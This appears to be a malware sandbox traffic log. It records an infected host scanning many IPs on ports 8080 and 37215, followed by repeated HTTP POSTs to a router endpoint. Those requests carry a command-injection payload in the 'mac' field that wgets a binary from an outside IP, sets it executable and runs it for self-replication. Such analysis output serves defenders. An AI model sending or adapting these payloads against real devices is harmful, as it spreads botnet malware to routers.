Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 174.49.194.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 114.243.127.28:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 115.106.173.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.72.197.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.211.27.74:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 2.18.64.227:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 86.2.83.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 88.60.5.83:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 136.250.208.46:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 83.109.135.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 130.197.113.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 126.214.32.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.236.200.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 88.96.82.63:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 81.74.200.81:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 205.71.174.87:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 175.235.107.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 114.96.159.158:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 113.111.105.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 121.214.128.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 183.224.89.150:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 133.130.24.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 122.228.215.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.178.138.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 37.67.188.146:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 154.231.208.132:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.94.37.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 88.243.29.247:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 95.23.61.102:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 79.103.84.183:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 65.176.40.186:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 79.210.120.32:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 98.64.117.107:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 134.55.200.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 168.200.116.115:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 160.174.45.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 161.2.89.50:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 206.109.106.148:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 75.175.240.68:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.169.77.248:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 156.100.11.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.214.144.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 14.39.2.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 47.62.28.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 171.182.84.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 115.235.153.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 191.202.231.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 46.105.231.0:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 109.136.171.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 179.183.158.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 53.145.206.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 90.135.187.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 107.19.153.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 46.90.33.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 166.37.180.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 211.105.9.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 125.194.223.135:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 169.72.118.82:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 43.9.81.81:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 173.124.64.213:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 222.183.24.193:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 45.139.184.105:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 201.44.62.58:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 182.80.202.68:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.9.214.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 182.36.61.58:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 123.7.76.184:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 88.24.55.99:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 182.28.124.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 130.45.215.184:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 164.253.198.188:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 132.23.21.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 184.92.184.24:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 130.223.24.20:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 181.205.207.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 66.149.11.163:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 185.224.231.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 157.107.254.82:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 196.246.145.216:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 20.151.213.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 157.89.250.240:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 103.105.140.114:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 25.53.93.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 60.176.128.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 39.96.236.81:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 219.153.147.182:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 85.195.93.102:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 14.44.75.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 90.251.148.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 72.233.239.34:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 204.94.109.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 67.5.138.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 79.224.96.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 194.158.25.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 220.172.100.85:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 153.31.63.200:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 201.252.10.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 76.57.101.36:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 110.77.164.26:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 185.43.137.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 12.254.112.120:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 219.76.189.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 194.86.48.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 9.191.11.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 217.156.177.105:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 123.142.213.247:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 199.184.8.137:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 91.22.45.102:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 193.78.107.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 202.194.111.207:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 175.210.198.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 175.204.211.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 139.24.201.142:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 96.103.77.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 206.108.39.209:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 179.40.153.203:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 204.214.77.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 184.100.82.88:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.88.33.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 181.184.215.7:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.115.182.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.242.147.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.144.179.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 14.151.111.147:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.74.203.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 139.154.192.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 54.54.32.47:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 123.193.99.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.172.147.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 174.11.56.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.242.162.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.103.37.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.68.73.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.142.205.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 50.31.103.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 39.148.42.41:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.164.48.40:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.55.155.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.86.116.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.176.205.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.214.199.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.38.249.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.63.182.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.187.129.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.165.98.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.88.126.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.28.233.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.86.200.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.73.238.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.131.205.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.58.93.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.58.109.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 143.106.251.193:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 73.50.224.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.189.183.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.76.159.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.97.172.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.241.71.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.80.225.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.45.47.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.176.132.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 198.29.79.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.202.253.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.210.65.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.254.161.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 146.236.156.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 47.183.137.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 44.156.219.88:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 83.249.195.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 163.43.82.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 171.113.230.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.62.109.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.202.213.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.127.193.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.221.250.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 42.10.21.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.70.254.131:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 159.127.197.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 20.157.157.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.149.203.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 182.51.143.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.6.179.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.138.132.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 53.39.26.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.246.144.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.113.93.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 99.83.121.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.247.100.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.162.177.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 51.147.66.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.179.94.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.67.124.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.21.135.39:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.138.173.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 62.25.160.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.51.59.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.240.241.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 121.1.111.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.179.148.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.94.111.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 119.250.79.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 23.176.40.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 137.158.107.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.166.139.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.104.218.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 5.3.211.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.65.89.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.233.238.174:37215

Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
